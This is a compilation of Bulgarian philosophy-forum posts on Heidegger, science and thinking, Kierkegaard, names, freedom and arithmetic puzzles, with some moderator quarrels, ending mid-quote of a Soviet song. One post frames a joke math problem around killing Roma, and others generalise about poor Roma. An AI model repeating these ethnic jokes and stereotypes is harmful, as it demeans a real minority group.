На първи план: ясно е, че спрямо науката Хайдегер разграничава философията; и не е толкова ясно дали в това си разграничение той обича науката или не. А на втори план е ясно, че колкото са му "повърхностни" разбиранията за науката, толкова са му задълбочени разбиранията за философията! Някога философия, наука и религия са били едно. Но днешната наука неправомерно претендира, че вмества в себе си философията и отваря очите на религията, т. е. че "наука" е по-голямо от "философия" и по-зрящо от "религия". Днес има разделение на тези три, възлизащи от общ корен, направления - което полага възможност за шарлатанска еклектика. Отсъствието на философска задълбоченост е характерно за човека на съвременната ни "обща наука". Много от сегашните фундаментални учени се изкушават - дублирайки алхимиците - да обобщят и изведат науката в метанаука, без да прибягват до философията и най-често достигат до несъстоятелности ("торсионни полета", "божествена матрица" и пр.). В почина към издържано съдържателно (т. е. не и само формално) запълване на тази цивилизационна метанаучна празнина се състои голямото дело на Хайдегер. Защото метанаука, както и метаизкуство не може да бъде друго освен философия... Философската състоятелност на метафилософията наричаме мислене - в неговата най-вътрешна и себеоснователна творческа спонтанност. И ето в какъв смисъл "науката не мисли": науката прилага мисленето, тя е приложното мислене (както в теоретически, така и в практически план). А чистата философия не се изчерпва с трансценденталните - формални и овъзможностяващи същинските научни занимания - познавателни методи и принципи, но тя изпълва и с екзистенциално съдържание и, значи, с тъкмо смисъл, същите тези занимания. Та оттук - науката не бива да се сбъдва в руслото на един необуздан прогрес на технологията, нито пък нейният устрем бива да бъде отклоняван от религиозни предразсъдъци, но тя в ставането си бива да бъде съпровождана и от същинко осмисляне, истинска философия. Философията, автентичната, досократическата, не е безвъзвратно снета от метода и нормата, да, философията и науката следва днес бъдно да намерят редом една до друга своите места в живота на човека - ето веруюто на Хайдегер!
-
22.
Корекция:
"А чистата философия не се изчерпва с познаване натрансценденталните...".
-
23.
При това положение религията би била излишна.
-
24.
Изводът, който правя:
Заглавието на настоящата тема, а именно "Науката не мисли", бих заменил с: "Наука и философия".
-
25.
Хайдегерианското "мислене" е едно "страхово мислене". (Вж. рефлексията ми по Киркегор в темата за събеседването.)
-
26.
Г. К., да, не че днес няма истинска наука - напротив: никога науката не е била толкова близо до научната истината! Но днес (както казва Дядо Ники) няма истинска философия, което ще рече: автентична, а не ретроспективна (учебникарска, т. е. "научна"). И кой друг, ако не Хайдегер е радетелят на човешката наука и човешката философия в тяхното взаимодествие! Инициаторът обаче на такова човешко взаимодействие следва да бъде философ - в истинския, досократическия си образ!
-
27.
Философията днес бива да се еманципира ("автентизира") спрямо науката, за да се същевременно съедини с нея - ето диалектиката! Аз не съм (на първи план) за разделение на наука и философия и (на втори план) за някаква независимост на философията, нито пък Хайдегер... Във формулата "наука и философия" "и"-то е диалектическо.
-
28.
Едно човешко "и".
Това, дали някой мисли, не се познава, а се прострахува.
-
29.
Смисъл и критерий
Г. К., говориш за човещина, а изискваш научен подход към философията. Науката не може да бъде метафилософия, критерий за философия; но, напротив, философията необходимо е метанаука, смисъл за научност. Бих дръзнал да ти предложа да се поровиш в Кирекгоровата диалектика.
-
30.
Междупрочем, Киркегор и Маркс са слушали в една и съща аудитирия лекции на Хегел.
За мисленето не може да има критерий: за мисленето има с-мисъл.
-
31.
КАКТО И ДА Е, НЕ СЕ ОПРАВЯМ С ТЕЗИ РЕДАКЦИИ, МАХАМ СЕ ОТТУК!!
-
32.
По възнамерение на инициатора на темата: синтетично ли е настоящото задание или аналитично? И ако (както подозирам) е аналитично, та опредеметяването с "Кораба на Тезей" следва да се приема за чисто и просто илюстративно, то бих признал, че се чувствам безсилен за отговор. Но в първия случай бих рекъл, че тъкмо името "Корабът на Тезей" възприсъства тук и сега за онтична, екзистенциално-същностна основа на въобще диалектическото разделение на цялото и неговите части, частите и тяхното цяло, структурата и нейния състав, състава и неговата структура... Но като как феноменологично съществува "Корабът на Тезей"? Ето въпроса за автентиката - той снема положения тук тематично парадокс: доколкото парадоксалността не е възможна извънсистемно (извънепистемологически)... Разговорът: нека със "свои думи" (конвенция), вместо със семантиката на "вездесъщата логика" (научна конвенция), споделим разбирането си за "Кораба на Тезей"... Не претендирам за друго, освен че на аналитична постановка подобава математически език. Стилистиката на т. нар. "забавна математика" намирам за несъстоятелна: обидна както за математиците, тъй и за сладкодумците. И, да, само един пишманакадемичен философ, сиреч "металаик" (не и скромен лаик) в литературата и математиката, би си позволил подобна лековата надменност... Най-вътрешното на разбирането е логически неизразимо иначе, освен във форма на парадокс (по Киркегор). Хайдегеровото извращение с езика има своята мисия - призвано е да бори научната конвенция, защитавайки "свойската". Но стилистиката на забавната математика не принадлежи към великия език на Волфиус, а си е чиста проба подигравка.
-
33.
Аналитиката разрушава митовете, легендите, съновиденията, вярванията, фантазмите, метафориката на живота, заменяйки смисъл с полза. (Виж Клагес contra Фройд.) Не казвам дали това е добро или лошо, но казвам, че не е красиво.
-
34.
Но пък (от друга страна), както е казано (R. Wagner, Der Ring des Nibelungen, Rheingold, Erste Szene, Woglinde):
"Nur wer der Minne Macht versagt,
nur wer der Liebe Lust verjagt,
nur der erzielt sich den Zauber,
zum Reif zu zwingen das Gold."
-
35.
1. Дали съм ти неприятен или не - слабо ме вълнува.
2. Дистинкцията синтетично - аналитично се отнася преди всичко за езика.
3. Философията е колкото математика, толкова и литература, та въпросите въобще са толкова формулировки, колкото и задания.
4. Ако ще продължаваш към мен в същия (пренебрежителен) дух, то най-добре ме забрани пълно и во веки (препоръчвам ти!), за да не се стигне (по моя вина!) наистина до неприятна за всички тук ситуация. Или-или. Очаквам твоето модераторско решение. Аз няма да се променя.
-
37.
Всъщност, извинявайте. Приемам забележката. Аз не съм образован. (Което обаче, мисля си, по никакъв начин не ме оправдава.)
-
38.
1. Във форумите съм (или поне искам да бъда, и поне се опитвам да си въобразя, че съм ) равен на това, което пиша. Наричам (си) го с оксиморона "искреност на позата".
2. За мен би било чест и благоговение да се запозная с теб извън форума.
3. Какво означава "аре"? (В предния ти пост го сметнах за нещо като печатна грешка.)
4. Млъквам и се подчинявам.
-
39.
Наместо логистичната съпоставка епистемология - семантика бих съответно предложил дифузната философия - филология.
-
40.
И ако, както твърди Г. К., семантиката принадлежи към епистемологията, а епистемологията - към философията, то бих задал въпроса: как си съпринадлежат философията и филологията?
-
41.
В кой свят Попър поставя митовете?
-
42.
"Да, трябва да се борим с вредното", мислели си вредителите на полезното.
-
43.
Реален проблем = насъщен проблем, т. е. проблематика, която ни вълнува.
-
44.
То това от теб зависи. Аз няма да се променя. Принципният трябва да бъдеш ти - нали си модератор. (Ако горното играе ролята на формално предупреждение, то ето че с чиста съвест можеш вече да ме забраниш.)
-
45.
Странно, но тъкмо привеждането в принцип изисква у човека промяна: едно усилие да се унифицираш според правилата, които етико-познавателно си възприел (или пък си в процес на възприемяна на такива)... О, ежедневно извършвам над себе си това усилие, ала резултатите, уверяваш се, са плачевни.
-
46.
Обществото в контекста на приятелството. - Всеки човек съществува по едно екзистенциално измерение ("хоризонт", личностна отправност). Общество от двама души наричаме приятелство. Приятелството е двумерно. Че както през една точка не могат да преминат четири взаимноперпендикулярни прави (пространството е най-много тримерно), тъй и трима не могат да се гледат взаимно в очите. И както n-мерното пространство е ментална абстракция, тъй и обществото е екзистенциална абстракция: общото небе над група хора. Срине ли се небето, обществото рухва. А социалното небе, предвид абстрактния си екзистенциално характер, е предразположено към сриване: загуба на религия, загуба на магичност, загуба на предразсъдъци ако щете и пр.: загуба на свръхсетивност, загуба на световост и възцаруване метафизиката на фактите, т. нар. логически позитивизъм, аналитична философия, прагматизъм и т. н. Това, което Ницше нарича нихилизъм. И тъкмо на този въпрос е посветена Хайдегеровата статия "Думите на Ницше "Бог е мъртъв".
-
47.
За (в последна сметка) природата на нещата
Предполагам, всички (в т. ч. и аз) имаме представа как в своята знаменита поема Тит Лукреций Кар в ненадминато изящество обговаря тъкмо природата на нещата. Какво обаче има предвид той под "природа на нещата", и включително и с атомистичното си описание, и с "пустотата"?
Нека се разговоря по темата (проанализирайки в осмисляне хегелианската съпричастно субстанциална логика на духа):
Прелюд. Въпросът какво е съзнание е тъждествен с въпроса кой е субектът (субектът като "нещото"). Съзнанието за неща се нарича дух. Да, нещата не са (нито пък съзнанието) сами по себе си - или са в съпричастие, или в отчуждение.
1. Нещата в съпричастие (битие на нещата). По линия (отправност) на отчуждението няма битие (на нещата) - битие (на нещата) не може да има отправно "нещото", сиреч догматично, т. е. под субектно спрежение. Та битието на нещата = съпричастието ("спомежду" нещата, "във вихъра на нещата"). Общото тук е играта. Обективацията снема битието. Интенцията е небитието.
2. Нещата в отчуждение (интенция, небитие, отправност). Та - по линия (отправност) на отчуждението нещата изстъпват двояко: (а) в система и (б) по природа.
а) Система на нещата. Общото там е логиката (+ тъждество на неща и понятия).
б) Природа на нещата. Общото там е субстанцията. "Нещата по природа" значи "нещата субстанциално".
Извод. Нещата по природа не са нещо повече от атрибутивни средоточия.
Поука. Не че едни неща са природни, а други - не. Ала: говорим в природен аспект за нещата или не в природен аспект говорим за нещата.
За вълнението и буденето на интерес
Лукреций говори в природен аспект за нещата. Но това ли е най-вълнуващото у Лукреций? За съвременниците му - да, може би: едно за тях необщоприето тълкувание за нещата. Но не и за нас - за нас най-вълнуващото у Лукреций е неговият изказ. И ето пак догадката: че тъй или иначе извън езика - било по изказ или било по тълкувание - няма природа на нещата; или ако има, то... к'во ли ме вълнува!... Вълнува ме, че някои ги вълнува: едва ли някога ще разбера употребата "буди интерес" (евфемизъм?).
Емоцията - критерий за истината.
Не съм център на вселената, но и вселената не е нито времето, нито мястото, където живея.
-
48.
За да бъде човек в собствено съзнат досег с изкуството, то не е необходимо той да бъде артист, нито е необходимо да бъде изкуствовед... Та питам философите: за да бъде човек в собствено съзнат досег с науката, то (аналогично) необходимо ли е той да бъде човек на науката?
-
49.
Да, никой днес у нас не философства с чук в ръка.
-
50.
Поставеният тук проблем се състои в лингвистичната неавтентичност на ситуативното представяне (т. нар. едни "психологически задачи"). Реалната ситуация не е разделена на логика и илюстрация. Големите белетристи са затова големи, защото езикът им е ситуативно автентичен, без такъв, присъщ на стилистиката на занимателната математика (и респ.: т. нар., едни популистки, тестове за интелигентност), хистерезис.
Езикът на логиката (и въобще математиката) следва да бъде чисто и строго семантичен, символно-алгоритмичен.
Та ако например тези две задачи бъдат изписани на строг и стандартизиран, и академично конвенционализиран, перфектен математически език, то едва тогава те биха могли да послужат в един научно поставен тест за интелигентност - при, разбира се, условие, че относно изпитвания се преполага, че владее този език.
Ето защо тестовете за интелигентност са по-същество невалидни в, какво се казва, живия живот и бива да спадат към вътренаучния кадрови контрол. Останалото е нездрав популизъм... Апропо, в живия свят истински важи здравият популизъм, "военната школа на живота", а именно, че "това, което не ме убива, ме прави по-силен". (И едва ли тук е за подценяване фактът, че блестящият езиков стилист Ницше е страдал от липса не белетристичен талант.)
-
51.
Нима т. нар. философи на живота не дължат своето проникновение на страданието си по отсъствието на белетристичност - живот-роман и роман-живот, - на сблъсъка на езиковия талант и хистеричната ситуация!
-
52.
Някой би могъл да рече, че горепоместените задачи извират от щекотливостта на живота (т. е. ежедневието) и не поддават на (математическа) семантизация. Но науката познава поне един велик случай на адекватно математизиран житейски проблем: граничният преход, Огюстен Луи Коши асимилира в езика на математиката актуалността на граничния преход.
-
53.
Да, мислене в житейска ситуация, вместо в строго математическа постановка... Строгото математическо мислене е на общоконвенционално основание, т. е. по етикеция, "предопределение" елитарно (елитът научна общност) и не притежава стойност в морално-естетически смисъл. А житейското (може да включва и математическо) е елитарно в изключителни, т. е. "избрани" случаи - тогава то намира своето оправдание в политическата естетика (в т. ч. и сюблимните герои в романите на Достоевски).
-
54.
Математиката се намира извън добото и злото и поради това не може да бъде отвъд доброто и злото. За наличие на отвъд-бъдна перспектива е изискуемо присъствието на възможност за надмогване, т. е., що се отнася до доброто и злото, пребиваване в етическото пред (всред) естетически (-ско) хоризонт (обкръжение). Резултатът от надмогването би бил заставане на "възбог" (по превода на Ж. Николова-Гълъбова), т. нар. (по Киркегор) религиозен (сиреч етико-екстатичен) стадий. "Добро ли е да освещаваш войната? - Добрата война освещава всичко." Звучи маниакално, звучи cool, звучи heavy metal!
-
55.
Beavis и Butthead - философи.
-
56.
Кое в една общност е името на човек? Например за мен името на този, който тук пише под наименованието "frege" е тъкмо "Г-н Фреге". А ако по лична карта той примерно се казва Фарамонд, то по никакав начин не бих могъл да свържа този човек с името му по лична карта и камо ли пък със самия дук Фарамонд, сина на Маркомер.
-
57.
Г-н Фреге, ако държи тук на името си "frege", не би могъл да бъде тук анонимен. Да, г-н Фреге участва тук системно и физиогномично, не и спорадично!
-
58.
Ако азът се представляваше пред самия себе си именно (т. е. посредством име), то това би било равносилно на (шизофренен) разпад на аза. Името представлява аза, но в едно общество, в което азът участва. А азът няма как да безименно участва в някакво общество (т. е. без име). И ето че ако човек е в някакво общество известен, то не е възможно да бъде известен другояче освен с името, с което го знаят в тази общност. А цветист пример за именната орисия са мутренските имена.
Съумее ли някой да се успешно представи пред теб в обществото за самия теб (т. е. с твоето име), то проблемът е извънобществен и изстъпва очи в очи между теб и този друг човек, без вече името да опосредява отношението ви... Срещу такъв не бих парадирал с името си, а бих му посочил с два пръста своите кървясали очи.
-
59.
Няма как да бъдеш известен като друг - та ти там си тъкмо това, с което си известен! Да, името ти се образува в обществен контекст. Имаш ли проблем с името си, то имаш проблем всъщност с обществото. И обаче нима всички сме конформисти!
-
60.
Конформистът нито участва в обществото, към което се е конформирал и нито пък му опонира. Конформистът е една "тухла в стената".
-
61.
Доколкото името носи авторитет - дотолкова то може да промени отношението към мнението.
-
62.
Ако една теория противоречи на друга, то от това не следва, че или едната, или другата е "грешна", а че би могло това противоречие да бъде (или вече да е) преодоляно с трета теория. И въобще - не би могло да има извънтеоретичен критерий за "вярна" теория.
-
63.
Осмисляйки това, в което (с полза или без полза, с успех или без успех, с удоволствие или болка, с амбиция или без амбиция, рушително или градивно, за добро или зло и т. н.) участва и това, което сам той в своето участие прави, човек извършва движение на духа по надлитане рамката на настоящото си ценностно вместилище и в последна сметка - по осмисляне самия себе си. И въобще - философията осмисля живота, т. е. средоточва човешкото: това е нейният основен принос към живота (доколкото животът бива най-подир да бъде един човешки живот). О, да, философията прави смисъл!
-
64.
Формулата "философията прави смисъл" се онасъщностява в противоположна на "философът прави смисъл" посока, т. е.: "философстването ражда смисъл" - та именно философът бива екзистенциалният резултат (екзистенцията) на това онтично инкубиране... И ето как ставането философ нито е по формула, нито по свободна воля. Ала доколкото свободната воля би могла да бъде израз на смисъл, сиреч на философска екзистенция, то дотолкова една такава (с инструменталонтично звучене) формулировка ("философията прави смисъл") очертава рамка на валидност на тематично говорене за принос на философа.
-
65.
Sorry, знам ти името по лична карта, но няма да те нарека с него... И още повече, че не към мен е отправен отговорът ти... Чувствам се малко неловко... Написала си нещо, чиято искреност е дотолкова изключителна, че стилистиката да губи значимост: та в случая заиграването би било неуместно и нелепо.
-
66.
"Въобще"-то тук вече не иде от Господ Логос, а от смисловото присъствие на т. нар. "мъртъв Бог" - едно онтично узряване на общото, едно именуващо посредством екзистенциали раздуване. Себерефлективната инфлексия от насъщно битие към наличен свят се нарича философ, наричайки себе си.
-
67.
Казано грубо в прав текст: да, днес без пари не се живее; но пък ако (и щом) на всяка цена държиш да си философ (иначе ти не би бъдел философ), защо философстваш с нагласа да скланяш тъкмо в качеството си на философ глава пред обществените ценности, нихлистичните ценности, кухите ценности, пазарните ценности?! Ами намери си цинично работа, от която да получаваш доход, но в която "философски да не се влагаш" (т. е. философичността ти да не пропада в методология) и... продължавай да бъдеш философ! (И (пре-)прочети Ницшевото есе "Шопенхауер като възпитател".)
-
68.
Към Иван - философичният принос прошества в хоризонта на очакването на философа. Философската реалност не може да бъде извън философската екзистенция, т. е. при снета интенция на себерефлексията.
-
69.
Добавка (към Иван): Кой да очаква от философа? Кой в осмислянето е над философа!... Тъй или иначе, въпросът за приноса на философа се върти около осмислянето.
-
70.
Ако питането е за някакви нефилософски приноси на философа, то това е съвсем друг въпрос, въпрос, който ми е чужд.
-
71.
Майната им на конституциите и пр. - екскременти на "обществени договори"!
-
На забележка, че, видиш ли, на конституционно гарантираната от либералната демокрация свобода на словото дължа сега възможността да псувам в общественото пространство либерално-демократичния конституционализъм, бих отвърнал: настоящата ми емоционално-словесна противоконституционствувателност е израз на циничната ми неблагодарност, яда, че камък върху камък не съм поставил в живота си.
-
72.
По каква причина човек е свободен?
-
73.
... освобождава философско пространство за безметафизична онтология (екзистенциализъм). Пръв забелязва тази ниша Шопенхауер, чиято метафизика се свежда до отъждествяване на отвъдно и отсамно (т. нар. "воля" по Шопенхауер). Докато Фихте вижда във волята просто гносеологическото начало.
-
74.
Към Модератора: Модераторе, умолявам Ви да ме забраните (вкл. и за четене); тоя Фреге едва го понасям вече, а все се изкушавам да надничам тук!... Ще ми помогнете ли, Модераторе? Усещам, че дойде и моят ред... Всички имаме интерес от това; и най-вече форумът... Благодаря в аванс. И знайте, че този път съм искрен... Ако до няколко дни не ме забраните, ще Ви принудя.
-
75.
"Aut Caesar, aut nihil!", "в живота бях готов за всичко, та смъртта ми не влизаше в сметката - и ето че сега трябва да умра неподготвен" - Чезаре Борджия
(+ Nietzsche, "Jenseits von Gut und Böse", 197 & "Der Antichrist", 61)
-
Само с толкова мога да се отчета от творчеството на този незабравим философстващ индивид, който е заслужил моето уважение и оценка на дипломиран философ.
-
Ето и моите философски и полуфилософски мнения от преди доста години. Бях ги писал на друго място (в друг форум, където получих несправедлив бан) и бих искал да си ги имаме и тук, в нашия си форум, защото няма нищо по-логично от това своето творчество да си е при своя форум, а не само да стои по чужди форуми, особено пък ако там си получил бан!
Ето и според каквото се е запазило (и с някои редакции, които ще си направя тук, за да са по-правилни и издържани постовете ми; все пак имам какво да подобря след толкова много време на учене и опит):
1. Ами те двете половинки са еднакви. Така, че няма смисъл да се пита: "Коя половина?". То този преподавател направо жива конкуренция на Буридановото магаре направил с този въпрос... :)
2. Детето по презумпция казва, че 8 трябва да се разполови. Т.е. да го превърнем в "4 + 4". А АРИТМЕТИЧЕСКИ Е ВЯРНО, че 4 + 4 = 8. Нали? Вярно е аритметически и това, че 2 х 4 = 8, нали? ДАЖЕ ПОСЛЕДНОТО МУ СЕ ВИКА В ОСНОВНОТО УЧИЛИЩЕ - "Проверка" на това дали 8 : 2 = 4!
ПОНЕЖЕ, ако имаме 8 овце и ги разделим между двама овчаря, наистина, ще си останат 8 овце, само че на 2 различни места по 4. В ПРИРОДАТА НИЩО НЕ СЕ ГУБИ. :)
3. Общо взето мислиш правилно, но последното ти изречение няма особена стойност. Като имаш 8 (1+1+1+1+1+1+1+1) или (2+2+2+2) или (4+4) или..., то както и да го делиш, стигнеш ли до ИСКАНОТО "две равни части" НЯМА НАЧИН да не стигнеш до ЧЕТВОРКИТЕ и то точно до ДВЕТЕ ЧЕТВОРКИ. -------> Н-Е-О-Б-Х-О-Д-И-М-О-С-Т !!! Само за миг да стигнеш до нещо различно :
а/ (1+1) + (1+1) + (1+1) + (1+1)
б/ 3 + 5, и пр., то значи си стигнал НЯКЪДЕ ДРУГАДЕ, но не и В ЦЕЛТА ( ДВЕ РАВНИ ЧАСТИ), защото при а/ имаме РАВНИ, НО ПОВЕЧЕ ОТ ДВЕ ЧАСТИ, а при б/ ДВЕ, но НЕРАВНИ ЧАСТИ!!!
"ДВЕ ЧАСТИ" и то "РАВНИ" могат да са НЕ-ЧЕТВОРКИ при нещо друго - да речем при 10 или при 25 МИЛИОНА! Но, когато ги ИЗИСКАМЕ ПО ОТНОШЕНοЕ НА 8, няма как да не намерим НЕОБХОДИМИТЕ ЧЕТВОРКИ.
Може да го наречеш "ДЕТЕРМИНИЗЪМ", "ФАТАЛИЗЪМ" или "ПРОМИСЪЛ" ;), но си е така, както ти го казах.
4. Да взема да отговоря :)
"Какво става когато от 8 извадите 4?"
По принцип не става нищо особено, но, зависи - ако сме в първи клас и го правим на контролно, може да станат много неща, особено, ако сбъркаме. :)
" Ето: "8-4"... Къде се дяват извадените от вас неща (при това 4-ри неща)?"
а/ Неееее, няма НЕЩА тук. "4" е само "предикат" и абстракция.
б/ Все пак може да се помисли къде се дява ИЗВАДЕНОТО "НЕЩО".
За да отговорим на този АБСТРАКТЕН ПРИМЕР, може да си позволим някои по-конкретни примери:
- Петърчо имал 8 ябълки и изял 4, колко са му останали?... ( 8 - 4 = х )
- Петърчо имал 8 ябълки и дал на Марийка 4. Колко са му останали? (8 - 4 = х)
(ЗАДАЧА СЪС ЗВЕЗДИЧКА):
- Петърчо срещнал 8 циганина, които искали да му вземат парите, но убил 4. Колко роми са останали живи? Пояснявам, че не съм имал нищо анти-ромско (анти-циганско), нито пък анти-хуманно. Против насилието съм, пацифист съм. Просто пародирах съдържанието на някои задачи по математика и исках да се получи малко по-увлекателно за читателите давайки пример с криминална ситуация.
- Петърчо имал 8 лева, но похарчил 4 за храна, колко пари са му останали? ...
СЛЕДОВАТЕЛНО, СПОРЕД КОНКРЕТНИЯ СЛУЧАЙ И ОБЕКТ, 4 може да бъдат изядени, дадени, ликвидирани, похарчени и пр. Т.е. сега да минем пак към някакви по-общи категории : ИЗВАЖДАНЕТО, МИНУСЪТ илюстрира всякакви АНИХИЛАЦИИ, ПРЕХОДИ И ПРОМЕНИ.
Та, на въпроса, изваденото нещо се дява в НЕБИТЕТО или, конвенционално, в ИНОБИТИЕ. САМИЯТ МИНУС показва ОТНЕТОСТ/ОТНЕМАНЕ/ЛИШАВАНЕ. Следователно ние с тези "4 неща" не правим нищо, освен да КОНСТАТИРАМЕ ЛИПСАТА ИМ и да вървим напред.
5. "На жена, която 10 години се бори с мизерията, й дават Н хиляди лева, които да изхарчи за себе си. Жената се връща разплакана след 4 часа ходене по магазини, без да е изхарчила стотинка, дори и за градски транспорт."
Хм, отделен случай е (ако е въобще реална случката). Я дай на някой циганин дето не 10 години, ами 40 години се е борил с мизерията Н не хиляди, а просто Н-стотин лева, да видиш дали ще ходи разплакан! Тук също пояснявам - давам пример с беден човек и циганин в добрия смисъл - в случая, че би задоволил потребности и би бил щастлив. Естествено не казвам, че всички бедни цигани са с един и същи темперамент и характер. Главното което имах предвид е, че бедни хора (а много от бедните са цигани) биха се радвали, а не биха плакали, ако имат пари. Ето и аз - беден съм, в момента, а ако имам пари ще се радвам, няма да плача!
"Когато не са надзиравани, робите не копаят тръстиката. Същото го правят и много хора в съвременните офиси."
Ами резонно е.
"интересни са тези житейски примери. Нека обаче огледаме нещата и размислим защо жената с Н хиляди лева е по-свободна от жената без тях."
Това е ТОЛКОВА САМООЧЕВИДНО, ЧЕ ВСЯКАКВО ОБЯСНЯВАНЕ, СВИДЕТЕЛСТВА, ЧЕ СИ ИМАМЕ ВРЕМЕ С ЧОВЕК, КОЙТО НЕ ЗНАЕ ВЪЗМОЖНОСТИТЕ НА ПАРИТЕ.
6. Има някои неща, които наистина ме карат да се удивя на креативността на философския ум - "Свободата като не-морална категория!". Добро е, насочва към мислене... Ноооооооооооо, други неща като: "svobodata e iluziya, koyato sazdavame kato reaktziya na useshtaneto za prinuda, ako nyamame tova useshtane, ne mislim za svoboda.", ми звучат също като :
"Гладът се появява, когато не ни дават да ядем, ако си нямаме проблеми с яденето, то въобще не мислим за глад."
"Жаждата е реакция на усещането, че са ни спрели водата преди 48 часа и не сме се запасили с минерална вода. Ако нямаме това усещане, не мислим за жажда."
"Сексуалното желание е илюзия, която създаваме като реакция на усещането за това, че "не ни пускат", ако ни пускат, нямаме често такова желание, че даже може и да стигнем до периоди на асексуалност, фригидност и пр."...
С ДРУГИ ДУМИ - всеки знае, че ни ЛИПСВА ТОВА, КОЕТО НЯМАМЕ. Ако имаме как ще ни липсва? И, без да съм чел книгата, предвид такива "ПРОЗРЕНИЯ" си мисля - не пишат ли някои философи САМО, за да вземат пари? /Това си го мисля вече и не само за някои философи./
7. Ooooх, Скинър ли е това? Извинявай, но аз съм го виждал само на кирилица и, честно казано, за срам или не, не знаех, че така му е името в оригинал, най-малкото си го преставях само с едно "ен". Човекът си има оригинални идеи, не оспорвам. Обаче конкретният пасаж, лесно озадачава търсачите на нещо ново и качествено.
Аналогиите, които дадох, разбира се, че не са напълно коректни, откъм релацията им със СЪЗНАНАНИЕТО, но ставаше дума, че е същото по отношение на това, че като НЯМА НЕЩО, е естествено да ни липсва, да си мечтаем за него и пр., независимо дали е свобода, чист въздух или пържени картофки със сирене.
8. Даже според Павлов, ако се не лъжа, това беше "инстинкт за свобода".
Всъщност от етологията знаем, че някои животинки не са много мераклии за свободен живот, но други, например лисиците, определено, поставени в клетки, не могат да си намерт място и голяма част от времето си прекарват в търсене на изход.
9. " за свобода (по-точно за "степени на свобода") се говори и в механиката :-), но това говорене за "свобода" е доста по-различно от говоренето за свобода при хората. За машините не казваме, че имат свобода на избор, но за хората сме склонни да мислим именно по този начин."
Машините са си машини, това е вярно.
"Не съм убедена, че можем да говорим за свободен избор при животните, поне нямаме достатъчно свидетелства за това."
А, защо да няма? Пред очите ни са. Дай на една домашна котка месо и хляб и гледай как си избира месото. Остави я после на "пост и молитва" 10 дена, след това й дай само хлебец да видиш как, като няма ИЗБОР, ще яде каквото има. 90% от хората, които познавам ще направят същото. /Примерът е за самоочевидното (че "АКО оставиш котка гладна, ТО..."), НЕ призовавам никой да оставя котки или други животни, които има да гладуват! Против съм, от малък, всякакво безсмислено насилие и всякакво ненужно причиняване на болка на животни!/
"Примерите на поведение, което ни изглежда свободно (като опитите на лисицата да се измъкне от клетката) могат спокойно да се интерпретират съвсем в духа на Скинър - като реакция на принуда. А Скинър твърди, че нямаме достатъчно свидетелства и за наличието на наистина свободен избор и при хората."
Т.е. от неговата си гледна точка може и да няма, но пък, ето че дори тук "подобието" с лисицата проличава, което значи, че от нашата, по-обективна да я наречем от Скинъровата гл. точка, свобода и стремеж към нея си има.
"Тезата му е много силна, съзнавам, и социално неприемлива, но това само по себе си не означава, че е невярна."
Определено по такива мотиви не може да я определим като невярна, но къде забеляза сила в такава една теза?
"Последното трябва да се докаже, а не просто да се отхвърля на базата на позоваване на емоции и морални норми."
С пълна сила важи и казването ти за "силата" на тезата. Въх... извинявам се за тавтологията!
"Извън темата - ще отсъствам няколко дни и няма да мога да участвам в дискусията (ако тя продължи) до понеделник."
Няма никакви проблеми. Какво са за философията няколко дена? Има хора с Аристотел полемизират, въпреки, че е живял векове назад и е починал, пък ние с някой дето е жив и не е на линия само няколко дена ли няма да полемизираме?
10. Далаят прави много добра разлика между двете неща и, започвайки да отговаря илюстрира това с усмивчица ":)" (емотиконка). Колкото до мотивацията (поставено сериозно или несериозно някое питане), тя има значение, но, защо пък, когато, така и така, си поставил интересен казус за размишление (по съдържание) да го пренебрегваме заради формата му (риторична)?
Отделно Далаят би се радвал да има повече нови теми, за да не се налага да намира интересни неща само в риторичните въпроси на "застаряващи" топици. //"топици" = "теми"; в ед. число - "топик" = "тема". Просто чуждица от английското "topic". Аз не съм за чуждиците. Даже тук, в този форум, си имаме тема за български думи за някои чуждици и заемки.
11. Много ценя диалектиката. Едно от забележителните неща там е твърдението, че причината определя следствието, а то, на свой ред, влияе на причината. Смятате ли, че това е закон?
12. Да, разбира се, има случаи. Най-простото май беше, ако вода кипне на огъня и го загаси. :) :Р
13. Определено тонът ти е неуважителен и не бих се впуснал в дискусия с теб. Ако цениш критичността, изпробвай я върху себе си.
Ако някой, по някаква малка вероятност, е проявил фриволност от твоя тип, да поясня, че примерът е "патент" на Брутян - философ, който, повярвай, разбира доста повече от теб от причини и следствия. Чуваш го за първи път? Ами не се учудвам.
14. "Какво става с това консултиране? Има ли люде да си дават парите за таквиз работи или се бачка ей така - за слава? Странно и интересно."
"Странното" и "интересното" по принцип са субектогенни категории. За един дивак например може да е странно, че самолетът лети без да размахва криле и да е интересно, че вечер има светлина и без слънце, когато светнеш някоя крушка. Фактът, че нестранни и нормални явления като философското консултиране, ти се струват "странни" и "интересни" говори за не особена развитост на ЦНС-то ти, но какво да се прави? Всеки според възможностите си. Както виждам ти дори не си чел Брутян в една съседна тема, държиш се грубо във философски форум, така че...
15. Артъре, позволи ми да се усъмня, че предвид склонността ти да се заяждаш темата е провокирана от тебе, а сега се правиш на съпричастен към Юнуз!
16. So what? You can type SOME English! LOL! Not a big deal, dude! I am able to type 6!
А ти си просто един полиглот, ама не в естествения, а в смисъла на креатурата ти - "Юзър", дето беше нарекъл Юнуз по този нелеп начин.
17. "Аз пък предпочитам интериорните блондинки пред екстериорните такива."
Проблемът в твоя случай е, че, дори и да изходим от изчистения вариант на анекдотичната блондинка, поставяйки го като потенциална реалност в една психологема от типа на : "Ти я срещаш и тя те поглежда.", нямаш даже формални шансове да събудиш някакво предпочитание от нейна страна.
18. Я се сети водата колко състояния има и дали е мокра при всяко едно от тях.
Я се сети, дали, ако ти не се сещаш за нещо, то обезателно не съществува? Нали не си солипсистче ? :)
19. :) /Усмивчица просто./
20. Странгер!!! :)))) /Стана ми смешно от така транслитерираното "Stranger", което се произнася приблизително като "стрейнджъ"/"стрейнджър": [ˈstreɪndʒə(r)]/
[ˈstrendʒɚ]./
Апропо, да ти отговорим на въпроса, но първо уточни какво разбираш под "мокър"! Ако, случайно, е способността му да намокря - очевидно да. В контекста на сюжета - спорно е дали това може да се определи като "ДЪЖД", доколкото беше виртуален такъв. А, от гледна точка на реалността по производството на филма, може би някой запознат ще ни каже дали са ползвали комютърна обработка или са използвали класическия пожарникарски маркуч :)
21. Артърчо, все пак да напомня с една съветска песничка:
"Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Что это такое портфель без фель
Это все равно что медведь без ведь
ο конечно если трамвай без вай
Это что угодно только вовсе не трамвай
Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Я тебе я тебе я тебе говорю сперва
